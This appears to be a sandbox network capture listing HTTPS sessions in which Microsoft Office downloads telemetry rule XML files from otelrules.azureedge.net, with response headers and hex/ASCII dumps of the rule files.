2024-12-06 21:09:11 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:11 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:59 GMT ETag: "0x8DC582BE8C605FF" x-ms-request-id: 617fe5a7-b01e-00ab-2861-47dafd000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210911Z-1746fd949bdlnsqphC1EWRurw000000004ng0000000097fx x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:11 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703501" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSa

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.7	49849	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:14 UTC	192	OUT	GET /rules/rule703500v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:14 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:14 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF497570" x-ms-request-id: 2d97fd60-e01e-000c-7b06-488e36000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210914Z-r1cf579d778d5zkmhC1EWRk6h800000000u000000000dpr7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:09:14 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 35 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 53 61 6e 64 62 6f 78 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 53 61 6e 64 62 6f 78 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703500" V="0" DC="SM" EN="Office.Telemetry.Event.Office.Sandbox" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenSandbox" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.7	49848	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:14 UTC	192	OUT	GET /rules/rule701801v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:14 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:14 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC2EEE03" x-ms-request-id: c22706de-601e-00ab-7503-4866f4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210914Z-r1cf579d778d5zkmhC1EWRk6h800000000zg000000001g1h x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:09:14 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701801" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.7	49852	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:14 UTC	192	OUT	GET /rules/rule701800v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:14 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:14 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BEA414B16" x-ms-request-id: 46703850-c01e-002b-03cc-456e00000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210914Z-1746fd949bd6zq92hC1EWRry4800000004s0000000009vag x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:14 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 38 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 73 6f 75 72 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 73 6f 75 72 63 65 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701800" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Resources" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenResources" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.7	49850	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:14 UTC	192	OUT	GET /rules/rule701050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:14 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:14 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB256F43" x-ms-request-id: a681d1f9-301e-0020-1b07-486299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210914Z-r1cf579d778mvsklhC1EWRkavg00000000mg000000004xmf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:14 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 6c 65 61 73 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRelease" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
123	192.168.2.7	49851	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:14 UTC	192	OUT	GET /rules/rule701051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:14 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:14 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:47 GMT ETag: "0x8DC582BE1CC18CD" x-ms-request-id: a6a36225-101e-000b-71ce-455e5c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210914Z-1746fd949bd4w8sthC1EWR700400000004mg000000000ts1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:14 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 52 65 6c 65 61 73 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 52 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Release.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenRe

Session ID	Source IP	Source Port	Destination IP	Destination Port
124	192.168.2.7	49853	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:16 UTC	192	OUT	GET /rules/rule702751v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:16 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:16 GMT Content-Type: text/xml Content-Length: 1403 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:03 GMT ETag: "0x8DC582BEB866CDB" x-ms-request-id: af038a62-701e-005c-6f03-48bb94000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210916Z-r1cf579d778d5zkmhC1EWRk6h800000000y0000000004n0w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:16 UTC	1403	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702751" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToken

Session ID	Source IP	Source Port	Destination IP	Destination Port
125	192.168.2.7	49854	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:16 UTC	192	OUT	GET /rules/rule702750v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:16 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:16 GMT Content-Type: text/xml Content-Length: 1366 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE5B7B174" x-ms-request-id: 52797c88-801e-00ac-33cb-45fd65000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210916Z-1746fd949bd6zq92hC1EWRry4800000004q000000000m9ff x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:16 UTC	1366	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 37 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 75 62 6c 69 73 68 65 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 75 62 6c 69 73 68 65 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702750" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Publisher" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPublisher" S="Medium" /> <F T="2

Session ID	Source IP	Source Port	Destination IP	Destination Port
126	192.168.2.7	49856	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:17 UTC	192	OUT	GET /rules/rule702300v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:17 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:17 GMT Content-Type: text/xml Content-Length: 1362 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDC13EFEF" x-ms-request-id: 061d09a2-c01e-00a1-3006-487e4a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210917Z-r1cf579d778zvkpnhC1EWRv23g00000000qg0000000051kk x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:17 UTC	1362	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 6a 65 63 74 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702300" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenProject" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
127	192.168.2.7	49855	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:17 UTC	192	OUT	GET /rules/rule702301v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:17 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:17 GMT Content-Type: text/xml Content-Length: 1399 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:00 GMT ETag: "0x8DC582BE976026E" x-ms-request-id: 1c872757-c01e-0034-1307-482af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210917Z-r1cf579d7782ctslhC1EWRfbrw00000000v000000000bte5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:17 UTC	1399	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 6a 65 63 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702301" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Project.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenPr

Session ID	Source IP	Source Port	Destination IP	Destination Port
128	192.168.2.7	49857	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:17 UTC	192	OUT	GET /rules/rule703401v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:17 UTC	515	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:17 GMT Content-Type: text/xml Content-Length: 1425 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:55 GMT ETag: "0x8DC582BE6BD89A1" x-ms-request-id: b9413899-901e-0015-7203-48b284000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210917Z-r1cf579d7788pwqzhC1EWRrpd800000000k00000000057nf x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-12-06 21:09:17 UTC	1425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703401" V="0" DC="SM" EN="Office.Telemetry.Event.Office.ProgrammableSurfaces.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="Nexus

Session ID	Source IP	Source Port	Destination IP	Destination Port
129	192.168.2.7	49859	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 21:09:18 UTC	192	OUT	GET /rules/rule703400v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 21:09:19 UTC	494	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 21:09:18 GMT Content-Type: text/xml Content-Length: 1388 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:37 GMT ETag: "0x8DC582BDBD9126E" x-ms-request-id: 748900c5-901e-007b-1e83-47ac50000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T210918Z-1746fd949bdqpttnhC1EWRe1wg00000004fg00000000er8a x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 21:09:19 UTC	1388	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 33 34 30 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 50 72 6f 67 72 61 6d 6d 61 62 6c 65 53 75 72 66 61 63 65 73 22 20 53 3d 22 4d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="703400" V="0" DC="SM" 